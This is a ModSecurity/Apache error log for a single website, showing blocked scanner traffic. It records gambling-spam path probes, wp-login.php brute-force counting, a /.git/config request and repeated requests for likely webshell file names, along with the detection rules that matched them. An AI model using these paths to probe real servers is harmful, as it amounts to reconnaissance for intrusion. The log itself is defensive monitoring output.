[Sun Feb 08 11:07:39.893148 2026] [:error] [pid 24423:tid 24497] [client 65.108.2.171:24686] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20100.aspx"] [unique_id "aYf9-03f9n1Y0TpV5YbzvQAAAIw"]
[Sun Feb 08 11:07:42.479278 2026] [:error] [pid 56906:tid 56928] [client 65.108.2.171:24696] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%201668.aspx"] [unique_id "aYf9_vxl3WX27-WXfDhOAQAAARQ"]
[Sun Feb 08 11:07:44.921639 2026] [:error] [pid 24421:tid 24450] [client 65.108.2.171:9776] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%207777.aspx"] [unique_id "aYf-AKp7cTzhX5M1IP-rfwAAABM"]
[Sun Feb 08 11:07:47.509890 2026] [:error] [pid 56906:tid 56914] [client 65.108.2.171:9778] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "aYf-A_xl3WX27-WXfDhOEgAAAQY"]
[Sun Feb 08 11:07:50.088898 2026] [:error] [pid 56906:tid 56917] [client 65.108.2.171:9780] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20auto.aspx"] [unique_id "aYf-Bvxl3WX27-WXfDhOIAAAAQk"]
[Sun Feb 08 11:07:52.664704 2026] [:error] [pid 24530:tid 24536] [client 65.108.2.171:9794] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20net.aspx"] [unique_id "aYf-CEazNRCs1GRWrh5q_QAAAMQ"]
[Sun Feb 08 11:07:55.241022 2026] [:error] [pid 56906:tid 56932] [client 65.108.2.171:45452] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "aYf-C_xl3WX27-WXfDhOKwAAARg"]
[Sun Feb 08 11:07:57.819398 2026] [:error] [pid 24422:tid 24474] [client 65.108.2.171:45454] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20wallet.aspx"] [unique_id "aYf-DSNNjcLoSCLKhTcG4QAAAFA"]
[Sun Feb 08 11:08:00.399974 2026] [:error] [pid 24530:tid 24551] [client 65.108.2.171:45470] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/w69%20slot.aspx"] [unique_id "aYf-EEazNRCs1GRWrh5rDgAAANM"]
[Sun Feb 08 11:08:02.977300 2026] [:error] [pid 24530:tid 24549] [client 65.108.2.171:45474] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wallet%20slot.aspx"] [unique_id "aYf-EkazNRCs1GRWrh5rEQAAANE"]
[Sun Feb 08 11:08:05.566944 2026] [:error] [pid 56906:tid 56919] [client 65.108.2.171:30474] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/we88%20slot.aspx"] [unique_id "aYf-Ffxl3WX27-WXfDhOPAAAAQs"]
[Sun Feb 08 11:08:08.166388 2026] [:error] [pid 24530:tid 24533] [client 65.108.2.171:30488] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/www%20ufabet%20com.aspx"] [unique_id "aYf-GEazNRCs1GRWrh5rIAAAAME"]
[Sun Feb 08 11:08:10.758219 2026] [:error] [pid 24530:tid 24546] [client 65.108.2.171:30490] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xo%20slot.aspx"] [unique_id "aYf-GkazNRCs1GRWrh5rIwAAAM4"]
[Sun Feb 08 11:08:13.365724 2026] [:error] [pid 56906:tid 56922] [client 65.108.2.171:30492] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/yakuza%20slot.aspx"] [unique_id "aYf-Hfxl3WX27-WXfDhORwAAAQ4"]
[Sun Feb 08 13:15:57.891001 2026] [:error] [pid 24421:tid 24436] [client 159.89.173.118:57581] [client 159.89.173.118] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.89.173.118, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-login.php"] [unique_id "aYgcDap7cTzhX5M1IP_RIAAAAAU"]
[Sun Feb 08 13:15:58.776729 2026] [:error] [pid 24421:tid 24440] [client 159.89.173.118:57727] [client 159.89.173.118] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.89.173.118, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-login.php"] [unique_id "aYgcDqp7cTzhX5M1IP_RIgAAAAk"]
[Sun Feb 08 13:33:32.924109 2026] [:error] [pid 24530:tid 24533] [client 64.225.64.180:55102] [client 64.225.64.180] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 64.225.64.180, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-login.php"] [unique_id "aYggLEazNRCs1GRWrh6iAQAAAME"]
[Sun Feb 08 13:33:33.937803 2026] [:error] [pid 24421:tid 24442] [client 64.225.64.180:55338] [client 64.225.64.180] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 64.225.64.180, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-login.php"] [unique_id "aYggLap7cTzhX5M1IP_XzwAAAAs"]
[Sun Feb 08 19:34:20.013696 2026] [:error] [pid 24421:tid 24452] [client 65.108.125.120:33588] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20joker%20auto.aspx"] [unique_id "aYh0vKp7cTzhX5M1IP8oYAAAABU"]
[Sun Feb 08 19:34:22.585711 2026] [:error] [pid 43900:tid 43926] [client 65.108.125.120:33598] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20osaka.aspx"] [unique_id "aYh0vuWrhnpm_Csk3kmbKgAAAVc"]
[Sun Feb 08 19:34:25.201035 2026] [:error] [pid 24421:tid 24445] [client 65.108.125.120:33600] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20789.aspx"] [unique_id "aYh0wap7cTzhX5M1IP8oZgAAAA4"]
[Sun Feb 08 19:34:27.748977 2026] [:error] [pid 24423:tid 24491] [client 65.108.125.120:33616] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20888th.aspx"] [unique_id "aYh0w03f9n1Y0TpV5YZhfwAAAIY"]
[Sun Feb 08 19:34:30.496886 2026] [:error] [pid 24421:tid 24448] [client 65.108.125.120:26298] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20auto%20wallet.aspx"] [unique_id "aYh0xqp7cTzhX5M1IP8obgAAABE"]
[Sun Feb 08 19:34:33.201829 2026] [:error] [pid 24422:tid 24477] [client 65.108.125.120:26306] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20auto.aspx"] [unique_id "aYh0ySNNjcLoSCLKhTd7PQAAAFM"]
[Sun Feb 08 19:34:35.697720 2026] [:error] [pid 24422:tid 24478] [client 65.108.125.120:26308] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20game.aspx"] [unique_id "aYh0yyNNjcLoSCLKhTd7QQAAAFQ"]
[Sun Feb 08 19:34:38.349118 2026] [:error] [pid 54609:tid 54623] [client 65.108.125.120:55750] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20vegas.aspx"] [unique_id "aYh0zqRRnRH9N52BW9KidAAAAYw"]
[Sun Feb 08 19:34:40.978257 2026] [:error] [pid 54609:tid 54617] [client 65.108.125.120:55752] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot.aspx"] [unique_id "aYh00KRRnRH9N52BW9KidgAAAYY"]
[Sun Feb 08 19:34:43.716061 2026] [:error] [pid 58631:tid 58651] [client 65.108.125.120:55764] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot168.aspx"] [unique_id "aYh003-r9Xz6zi7KqKxzAAAAAdI"]
[Sun Feb 08 19:34:46.434702 2026] [:error] [pid 58631:tid 58653] [client 65.108.125.120:55774] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot99.aspx"] [unique_id "aYh01n-r9Xz6zi7KqKxzBwAAAdQ"]
[Sun Feb 08 19:34:49.068072 2026] [:error] [pid 58631:tid 58656] [client 65.108.125.120:28858] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20soft.aspx"] [unique_id "aYh02X-r9Xz6zi7KqKxzEAAAAdc"]
[Sun Feb 08 19:34:51.612475 2026] [:error] [pid 54609:tid 54619] [client 65.108.125.120:28872] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20th.aspx"] [unique_id "aYh026RRnRH9N52BW9KifQAAAYg"]
[Sun Feb 08 19:34:54.311856 2026] [:error] [pid 24530:tid 24543] [client 65.108.125.120:28882] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20thailand.aspx"] [unique_id "aYh03kazNRCs1GRWrh4PgwAAAMs"]
[Sun Feb 08 19:34:56.818465 2026] [:error] [pid 56906:tid 56917] [client 65.108.125.120:28884] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20world.aspx"] [unique_id "aYh04Pxl3WX27-WXfDjBQgAAAQk"]
[Sun Feb 08 19:34:59.329831 2026] [:error] [pid 24530:tid 24553] [client 65.108.125.120:60088] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pgzeed%20gold.aspx"] [unique_id "aYh040azNRCs1GRWrh4PiAAAANU"]
[Sun Feb 08 19:35:01.933717 2026] [:error] [pid 54609:tid 54630] [client 65.108.125.120:60096] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/riches666%20pg.aspx"] [unique_id "aYh05aRRnRH9N52BW9KijQAAAZM"]
[Sun Feb 08 19:35:04.472139 2026] [:error] [pid 24530:tid 24545] [client 65.108.125.120:60104] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/riches888%20pg.aspx"] [unique_id "aYh06EazNRCs1GRWrh4PjAAAAM0"]
[Sun Feb 08 19:35:07.136317 2026] [:error] [pid 54609:tid 54622] [client 65.108.125.120:60114] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/royal%20slot.aspx"] [unique_id "aYh066RRnRH9N52BW9KilAAAAYs"]
[Sun Feb 08 22:24:31.361232 2026] [:error] [pid 6630:tid 6647] [client 35.203.172.121:46832] [client 35.203.172.121] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.git/config"] [unique_id "aYicn52jf0FBTEb_cWT6tAAAAg4"]
[Mon Feb 09 00:50:59.975598 2026] [:error] [pid 9422:tid 9436] [client 20.69.252.116:48753] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xmff.php"] [unique_id "aYi-869DqDJC68qBbyxFCAAAAYs"]
[Mon Feb 09 00:51:00.388101 2026] [:error] [pid 24423:tid 24509] [client 20.69.252.116:48660] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xmff.php"] [unique_id "aYi-9E3f9n1Y0TpV5YaJZAAAAJg"]
[Mon Feb 09 00:51:00.821580 2026] [:error] [pid 43900:tid 43926] [client 20.69.252.116:48692] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xmff.php"] [unique_id "aYi-9OWrhnpm_Csk3knJtAAAAVc"]
[Mon Feb 09 00:51:01.288546 2026] [:error] [pid 43900:tid 43918] [client 20.69.252.116:48640] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xmff.php"] [unique_id "aYi-9eWrhnpm_Csk3knJtgAAAU8"]
[Mon Feb 09 00:51:01.746519 2026] [:error] [pid 43900:tid 43915] [client 20.69.252.116:48662] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-blog.php"] [unique_id "aYi-9eWrhnpm_Csk3knJtwAAAUw"]
[Mon Feb 09 00:51:02.253389 2026] [:error] [pid 6630:tid 6636] [client 20.69.252.116:48731] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-blog.php"] [unique_id "aYi-9p2jf0FBTEb_cWQRSgAAAgM"]
[Mon Feb 09 00:51:02.669309 2026] [:error] [pid 24421:tid 24454] [client 20.69.252.116:48717] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-blog.php"] [unique_id "aYi-9qp7cTzhX5M1IP9ZKQAAABc"]
[Mon Feb 09 00:51:03.105601 2026] [:error] [pid 6662:tid 6679] [client 20.69.252.116:48713] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-blog.php"] [unique_id "aYi-99-oEK1ut16KiNIc4gAAAk0"]
[Mon Feb 09 00:51:03.589362 2026] [:error] [pid 24423:tid 24504] [client 20.69.252.116:48750] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ftem.php"] [unique_id "aYi-903f9n1Y0TpV5YaJZwAAAJM"]
[Mon Feb 09 00:51:04.010422 2026] [:error] [pid 24530:tid 24551] [client 20.69.252.116:48711] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ftem.php"] [unique_id "aYi--EazNRCs1GRWrh47ewAAANM"]
[Mon Feb 09 00:51:04.457710 2026] [:error] [pid 9482:tid 9540] [client 20.69.252.116:48759] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ftem.php"] [unique_id "aYi--MTkGH_puEFp5zPRbAAAA8E"]
[Mon Feb 09 00:51:05.136622 2026] [:error] [pid 9482:tid 9539] [client 20.69.252.116:48675] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ftem.php"] [unique_id "aYi--cTkGH_puEFp5zPRbgAAA8A"]
[Mon Feb 09 00:51:05.588240 2026] [:error] [pid 6663:tid 6707] [client 20.69.252.116:48739] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/Ova-Simple.php"] [unique_id "aYi--WGI3uHqWdeZM76gjQAAAo4"]
[Mon Feb 09 00:51:06.023713 2026] [:error] [pid 9422:tid 9435] [client 20.69.252.116:48736] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/Ova-Simple.php"] [unique_id "aYi--q9DqDJC68qBbyxFCwAAAYo"]
[Mon Feb 09 00:51:06.450712 2026] [:error] [pid 24530:tid 24555] [client 20.69.252.116:48677] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/Ova-Simple.php"] [unique_id "aYi--kazNRCs1GRWrh47gAAAANc"]
[Mon Feb 09 00:51:06.913918 2026] [:error] [pid 6663:tid 6706] [client 20.69.252.116:48741] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/Ova-Simple.php"] [unique_id "aYi--mGI3uHqWdeZM76gjwAAAo0"]
[Mon Feb 09 00:51:07.366951 2026] [:error] [pid 24421:tid 24447] [client 20.69.252.116:48729] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-access.php"] [unique_id "aYi--6p7cTzhX5M1IP9ZKgAAABA"]
